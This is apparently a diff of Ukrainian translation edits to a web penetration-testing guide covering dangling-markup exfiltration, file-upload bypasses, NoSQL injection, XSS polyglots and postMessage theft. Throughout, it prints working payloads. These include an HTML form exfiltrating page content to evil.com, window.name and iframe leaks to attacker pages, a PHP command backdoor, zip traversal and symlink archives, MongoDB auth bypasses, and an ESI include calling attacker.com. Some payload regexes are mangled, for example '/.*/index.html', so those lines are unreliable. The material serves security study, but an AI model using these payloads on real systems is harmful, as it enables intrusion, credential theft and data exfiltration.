Спосіб ексфільтрації вмісту веб-сторінки з точки ін'єкції донизу на сайт, контрольований зловмисником, буде ін'єкція цього:
|
||||
Спосіб ексфільтрації вмісту веб-сторінки з точки ін'єкції до низу на сайт, контрольований зловмисником, буде ін'єкцією цього:
|
||||
```html
|
||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||
```
|
||||
@ -102,7 +102,7 @@ I get consumed!
|
||||
<base target='
|
||||
```
|
||||
Зверніть увагу, що ви попросите **жертву** **натиснути на посилання**, яке **перенаправить** його на **payload**, контрольований вами. Також зверніть увагу, що атрибут **`target`** всередині тегу **`base`** міститиме **HTML контент** до наступної одинарної лапки.\
|
||||
Це зробить так, що **значення** **`window.name`**, якщо посилання буде натиснуто, буде всім цим **HTML контентом**. Тому, оскільки ви **контролюєте сторінку**, на яку жертва переходить, натискаючи на посилання, ви можете отримати доступ до **`window.name`** і **екстрактувати** ці дані:
|
||||
Це зробить так, що **значення** **`window.name`**, якщо посилання буде натиснуто, буде всім цим **HTML контентом**. Отже, оскільки ви **контролюєте сторінку**, на яку жертва переходить, натискаючи на посилання, ви можете отримати доступ до **`window.name`** і **екстрактувати** ці дані:
|
||||
```html
|
||||
<script>
|
||||
if(window.name) {
|
||||
@ -163,7 +163,7 @@ top.window.location = "https://attacker.com/hacked.html"
|
||||
```
|
||||
Це можна пом'якшити за допомогою чогось на кшталт: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
|
||||
Iframe також може бути зловжито використаний для витоку чутливої інформації з іншої сторінки **використовуючи атрибут імені iframe**. Це пов'язано з тим, що ви можете створити iframe, який вбудовує сам себе, зловживаючи HTML-ін'єкцією, що робить **чутливу інформацію видимою в атрибуті імені iframe**, а потім отримати доступ до цього імені з початкового iframe і витягти його.
|
||||
Iframe також може бути зловжито використаний для витоку чутливої інформації з іншої сторінки **використовуючи атрибут імені iframe**. Це пов'язано з тим, що ви можете створити iframe, який сам себе вбудовує, зловживаючи HTML-ін'єкцією, що змушує **чутливу інформацію з'являтися всередині атрибута імені iframe**, а потім отримати доступ до цього імені з початкового iframe і витікати його.
|
||||
```html
|
||||
<script>
|
||||
function cspBypass(win) {
|
||||
@ -186,8 +186,8 @@ onload="cspBypass(this.contentWindow)"></iframe>
|
||||
|
||||
### Новий \<portal HTML тег
|
||||
|
||||
Ви можете знайти дуже **цікаве дослідження** про вразливості, які можна експлуатувати, тегу \<portal [тут](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
На момент написання цього матеріалу вам потрібно активувати тег portal у Chrome за адресою `chrome://flags/#enable-portals`, інакше він не працюватиме.
|
||||
Ви можете знайти дуже **цікаве дослідження** щодо вразливостей, які можна експлуатувати, тегу \<portal [тут](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
На момент написання цього матеріалу вам потрібно активувати тег portal у Chrome в `chrome://flags/#enable-portals`, інакше він не працюватиме.
|
||||
```html
|
||||
<portal src='https://attacker-server?
|
||||
```
|
||||
|
@ -31,7 +31,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Спробуйте обійти захист, **обманюючи парсер розширень** на стороні сервера за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**нульові** байти) між розширеннями. _Ви також можете використовувати **попередні розширення** для підготовки кращого корисного навантаження._
|
||||
4. Спробуйте обійти захист, **обманюючи парсер розширень** на стороні сервера за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**нульових** байтів) між розширеннями. _Ви також можете використовувати **попередні розширення** для підготовки кращого корисного навантаження._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -77,7 +77,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
### Other Tricks to check
|
||||
|
||||
- Знайдіть вразливість для **перейменування** вже завантаженого файлу (щоб змінити розширення).
|
||||
- Знайдіть вразливість **Local File Inclusion**, щоб виконати бекдор.
|
||||
- Знайдіть вразливість **Local File Inclusion** для виконання бекдору.
|
||||
- **Можливе розкриття інформації**:
|
||||
1. Завантажте **кілька разів** (і **одночасно**) **той самий файл** з **тим самим ім'ям**
|
||||
2. Завантажте файл з **ім'ям** файлу або **папки**, яка **вже існує**
|
||||
@ -98,7 +98,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Якщо ви можете завантажити XML файл на сервер Jetty, ви можете отримати [RCE, оскільки **нові \*.xml і \*.war автоматично обробляються**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як зазначено на наступному зображенні, завантажте XML файл до `$JETTY_BASE/webapps/` і чекайте оболонку!
|
||||
Якщо ви можете завантажити XML файл на сервер Jetty, ви можете отримати [RCE, оскільки **нові \*.xml та \*.war автоматично обробляються**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як зазначено на наступному зображенні, завантажте XML файл до `$JETTY_BASE/webapps/` і чекайте оболонку!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -106,7 +106,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
Для детального вивчення цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Вразливості віддаленого виконання команд (RCE) можуть бути використані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
|
||||
Вразливості віддаленого виконання команд (RCE) можуть бути експлуатовані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
|
||||
|
||||
Розгляньте наступний приклад шкідливого файлу `uwsgi.ini`, що демонструє різні схеми:
|
||||
```ini
|
||||
@ -133,7 +133,7 @@ characters = @(call://uwsgi_func)
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів**, і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **ця перевірка може бути обійдена.**\
|
||||
**Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
|
||||
Максимальна довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -160,7 +160,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
## Інструменти
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) - потужний інструмент, розроблений для допомоги пентестерам та шукачам вразливостей у тестуванні механізмів завантаження файлів. Він використовує різні техніки баг-баунті, щоб спростити процес виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку веб-додатків.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) - це потужний інструмент, розроблений для допомоги пентестерам та шукачам вразливостей у тестуванні механізмів завантаження файлів. Він використовує різні техніки баг-баунті, щоб спростити процес виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку веб-додатків.
|
||||
|
||||
## Від завантаження файлів до інших вразливостей
|
||||
|
||||
@ -174,10 +174,10 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
- [**Відкрите перенаправлення** через завантаження svg файлу](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Спробуйте **різні svg payloads** з [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
- [Відома вразливість **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Якщо ви можете **вказати веб-серверу, щоб отримати зображення з URL**, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/). Якщо це **зображення** буде **збережено** на якомусь **публічному** сайті, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) і **викрасти інформацію про кожного відвідувача**.
|
||||
- Якщо ви можете **вказати веб-серверу, щоб отримати зображення з URL**, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/index.html). Якщо це **зображення** буде **збережено** на якомусь **публічному** сайті, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) і **вкрасти інформацію про кожного відвідувача**.
|
||||
- [**XXE та CORS** обхід з завантаженням PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Спеціально підготовлені PDF для XSS: [наступна сторінка показує, як **впровадити PDF дані для отримання виконання JS**](../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які виконуватимуть довільний JS відповідно до вказаних вказівок.
|
||||
- Завантажте \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) вміст, щоб перевірити, чи є на сервері якийсь **антивірус**
|
||||
- Завантажте \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) вміст, щоб перевірити, чи є у сервера якийсь **антивірус**
|
||||
- Перевірте, чи є якийсь **обмеження за розміром** при завантаженні файлів
|
||||
|
||||
Ось топ-10 речей, які ви можете досягти, завантажуючи (з [тут](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
@ -185,10 +185,10 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Збережений XSS / SSRF / XXE
|
||||
3. **GIF**: Збережений XSS / SSRF
|
||||
4. **CSV**: Ін'єкція CSV
|
||||
4. **CSV**: CSV-ін'єкція
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : Ін'єкція HTML / XSS / Відкрите перенаправлення
|
||||
7. **HTML / JS** : HTML-ін'єкція / XSS / Відкрите перенаправлення
|
||||
8. **PNG / JPEG**: Атака піксельного затоплення (DoS)
|
||||
9. **ZIP**: RCE через LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
@ -206,19 +206,19 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
Дивіться [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) для інших типів файлів.
|
||||
|
||||
### Автоматично розпаковане завантаження Zip/Tar файлів
|
||||
### Автоматично розпаковане завантаження Zip/Tar
|
||||
|
||||
Якщо ви можете завантажити ZIP, який буде розпаковано на сервері, ви можете зробити 2 речі:
|
||||
|
||||
#### Символічне посилання
|
||||
#### Symlink
|
||||
|
||||
Завантажте посилання, що містить м'які посилання на інші файли, потім, отримуючи доступ до розпакованих файлів, ви отримаєте доступ до пов'язаних файлів:
|
||||
Завантажте посилання, що містить м'які посилання на інші файли, а потім, отримуючи доступ до розпакованих файлів, ви отримаєте доступ до пов'язаних файлів:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Розпакування в різні папки
|
||||
### Розпакування в різних папках
|
||||
|
||||
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP-архіву можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
|
||||
|
||||
@ -263,7 +263,7 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **Спрайінг файлів та створення стиснутого файлу**: Створюється кілька файлів, і збирається zip-архів, що містить ці файли.
|
||||
2. **Спрайінг файлів та створення стисненого файлу**: Створюється кілька файлів, і збирається zip-архів, що містить ці файли.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
@ -297,11 +297,11 @@ pop graphic-context
|
||||
|
||||
## Поліглотні файли
|
||||
|
||||
Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF та RAR архів. Такі файли не обмежуються лише цим поєднанням; комбінації, такі як GIF і JS або PPT і JS, також можливі.
|
||||
Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF, так і RAR-архів. Такі файли не обмежуються лише цим поєднанням; комбінації, такі як GIF і JS або PPT і JS, також можливі.
|
||||
|
||||
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних додатках є дозволяти лише певні типи файлів для завантаження—як JPEG, GIF або DOC—щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження.
|
||||
|
||||
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) та JPEG, успіх його завантаження може залежати від політики розширень файлів платформи. Якщо система сувора щодо дозволених розширень, то лише структурна подвійність поліглота може не бути достатньою для гарантії його завантаження.
|
||||
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики розширень файлів платформи. Якщо система сувора щодо дозволених розширень, то лише структурна подвійність поліглота може не бути достатньою для гарантії його завантаження.
|
||||
|
||||
Більше інформації в: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -19,7 +19,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
|
||||
```
|
||||
### Обхід базової аутентифікації
|
||||
|
||||
**Використання не рівно ($ne) або більше ($gt)**
|
||||
**Використання not equal ($ne) або greater ($gt)**
|
||||
```bash
|
||||
#in URL
|
||||
username[$ne]=toto&password[$ne]=toto
|
||||
@ -67,7 +67,7 @@ in JSON
|
||||
### **SQL - Mongo**
|
||||
```
|
||||
/?search=admin' && this.password%00 --> Check if the field password exists
|
||||
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
||||
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
|
||||
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
|
||||
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
|
||||
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
|
||||
@ -110,7 +110,7 @@ in JSON
|
||||
```
|
||||
## MongoDB Payloads
|
||||
|
||||
Список [з тут](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
Список [звідси](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
```
|
||||
true, $where: '1 == 1'
|
||||
, $where: '1 == 1'
|
||||
@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
||||
|| 1==1//
|
||||
|| 1==1%00
|
||||
}, { password : /.*/ }
|
||||
' && this.password.match(/.*/)//+%00
|
||||
' && this.passwordzz.match(/.*/)//+%00
|
||||
'%20%26%26%20this.password.match(/.*/)//+%00
|
||||
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
|
||||
' && this.password.match(/.*/index.html)//+%00
|
||||
' && this.passwordzz.match(/.*/index.html)//+%00
|
||||
'%20%26%26%20this.password.match(/.*/index.html)//+%00
|
||||
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
|
||||
{$gt: ''}
|
||||
[$ne]=1
|
||||
';sleep(5000);
|
||||
|
@ -5,10 +5,10 @@
|
||||
Мета цих PoC та Polygloths - надати тестувальнику швидкий **огляд** вразливостей, які він може експлуатувати, якщо його **вхідні дані якимось чином відображаються у відповіді**.
|
||||
|
||||
> [!WARNING]
|
||||
> Ця **чек-лист не пропонує вичерпний список тестів для кожної вразливості**, лише деякі базові. Якщо ви шукаєте більш вичерпні тести, зверніться до кожної запропонованої вразливості.
|
||||
> Ця **таблиця не пропонує вичерпний список тестів для кожної вразливості**, лише деякі базові. Якщо ви шукаєте більш вичерпні тести, зверніться до кожної запропонованої вразливості.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ви **не знайдете ін'єкцій, залежних від Content-Type, таких як XXE**, оскільки зазвичай ви спробуєте їх самостійно, якщо знайдете запит, що надсилає xml-дані. Ви **також не знайдете ін'єкцій бази даних** тут, оскільки навіть якщо деякий контент може бути відображений, це сильно залежить від технології та структури бекендної БД.
|
||||
> Ви **не знайдете ін'єкцій, що залежать від Content-Type, таких як XXE**, оскільки зазвичай ви спробуєте їх самостійно, якщо знайдете запит, що надсилає xml-дані. Ви **також не знайдете ін'єкцій бази даних** тут, оскільки навіть якщо деякий контент може бути відображений, це сильно залежить від технології та структури бекендної бази даних.
|
||||
|
||||
## Polygloths list
|
||||
```python
|
||||
@ -46,7 +46,7 @@ javascript:alert(1)
|
||||
javascript:alert()
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
@ -88,13 +88,13 @@ $(ls)
|
||||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
```
|
||||
## Залишковий розмітка
|
||||
## Dangling Markup
|
||||
|
||||
### Основні тести
|
||||
```markup
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
## [Включення файлів/Перехід по шляхах](../file-inclusion/)
|
||||
## [File Inclusion/Path Traversal](../file-inclusion/index.html)
|
||||
|
||||
### Основні тести
|
||||
```bash
|
||||
@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
|
||||
http://asdasdasdasd.burpcollab.com/mal.php
|
||||
\\asdasdasdasd.burpcollab.com/mal.php
|
||||
```
|
||||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
|
||||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
|
||||
|
||||
### Основні Тести
|
||||
```bash
|
||||
@ -140,11 +140,11 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
|
||||
```markup
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
|
||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
|
||||
|
||||
Ті ж тести, що використовуються для Open Redirect, можна використовувати і тут.
|
||||
|
||||
## [Server Side Template Injection](../ssti-server-side-template-injection/)
|
||||
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
|
||||
|
||||
### Основні тести
|
||||
```markup
|
||||
@ -183,7 +183,7 @@ javascript:alert()
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
|
||||
|
@ -36,7 +36,7 @@ javascript:alert(1)
|
||||
javascript:alert()
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
|
@ -38,7 +38,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||||
|
||||
### Атака на iframe та доменне ім'я в **targetOrigin**
|
||||
|
||||
Як пояснено в [**цьому звіті**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), якщо ви знайдете сторінку, яку можна **вставити в iframe** (без захисту `X-Frame-Header`) і яка **надсилає чутливі** повідомлення через **postMessage**, використовуючи **доменне ім'я** (\*), ви можете **змінити** **походження** **iframe** і **викрити** **чутливе** повідомлення на домен, контрольований вами.\
|
||||
Як пояснено в [**цьому звіті**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), якщо ви знайдете сторінку, яка може бути **вставлена в iframe** (без захисту `X-Frame-Header`) і яка **надсилає чутливі** повідомлення через **postMessage**, використовуючи **доменне ім'я** (\*), ви можете **змінити** **походження** **iframe** і **викрити** **чутливе** повідомлення на домен, контрольований вами.\
|
||||
Зверніть увагу, що якщо сторінка може бути вставлена в iframe, але **targetOrigin** **встановлено на URL, а не на доменне ім'я**, цей **трюк не спрацює**.
|
||||
```markup
|
||||
<html>
|
||||
@ -56,8 +56,8 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||||
```
|
||||
## експлуатація addEventListener
|
||||
|
||||
**`addEventListener`** - це функція, яка використовується JS для оголошення функції, яка **очікує `postMessages`**.\
|
||||
Будуть використані код, подібний до наведеного нижче:
|
||||
**`addEventListener`** - це функція, яка використовується JS для оголошення функції, що **очікує `postMessages`**.\
|
||||
Будуть використані коди, подібні до наведеного нижче:
|
||||
```javascript
|
||||
window.addEventListener(
|
||||
"message",
|
||||
@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return
|
||||
false
|
||||
)
|
||||
```
|
||||
Зверніть увагу, що **перше, що** робить код, це **перевіряє походження**. Це надзвичайно **важливо**, особливо якщо сторінка збирається робити **щось чутливе** з отриманою інформацією (наприклад, змінювати пароль). **Якщо не перевіряти походження, зловмисники можуть змусити жертв надсилати довільні дані на ці кінцеві точки** і змінювати паролі жертв (в цьому прикладі).
|
||||
Зверніть увагу, що **перше, що** робить код, це **перевіряє походження**. Це надзвичайно **важливо**, особливо якщо сторінка збирається робити **щось чутливе** з отриманою інформацією (наприклад, змінювати пароль). **Якщо не перевірити походження, зловмисники можуть змусити жертв надсилати довільні дані на ці кінцеві точки** і змінювати паролі жертв (в цьому прикладі).
|
||||
|
||||
### Перерахування
|
||||
|
||||
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
```
|
||||
### Вкрадення повідомлення, надісланого дитині, шляхом блокування головної сторінки
|
||||
|
||||
На наступній сторінці ви можете побачити, як ви могли б вкрасти **чутливі дані postmessage**, надіслані до **дитячого iframe**, шляхом **блокування** **головної** сторінки перед відправкою даних і зловживання **XSS у дитині** для **витоку даних** до їх отримання:
|
||||
На наступній сторінці ви можете побачити, як ви могли б вкрасти **чутливі дані postmessage**, надіслані до **дитячого iframe**, шляхом **блокування** **головної** сторінки перед відправкою даних і зловживання **XSS у дитині**, щоб **викрити дані** до того, як вони будуть отримані:
|
||||
|
||||
{{#ref}}
|
||||
blocking-main-page-to-steal-postmessage.md
|
||||
@ -175,19 +175,19 @@ blocking-main-page-to-steal-postmessage.md
|
||||
|
||||
### Вкрадення повідомлення шляхом зміни місцезнаходження iframe
|
||||
|
||||
Якщо ви можете вставити веб-сторінку без X-Frame-Header, яка містить інший iframe, ви можете **змінити місцезнаходження цього дитячого iframe**, тому якщо він отримує **postmessage**, надіслане з використанням **wildcard**, зловмисник може **змінити** цей iframe **походження** на сторінку, **контрольовану** ним, і **вкрасти** повідомлення:
|
||||
Якщо ви можете вставити веб-сторінку без X-Frame-Header, яка містить інший iframe, ви можете **змінити місцезнаходження цього дитячого iframe**, тому, якщо він отримує **postmessage**, надіслане з використанням **wildcard**, зловмисник може **змінити** цей iframe **походження** на сторінку, **контрольовану** ним, і **вкрасти** повідомлення:
|
||||
|
||||
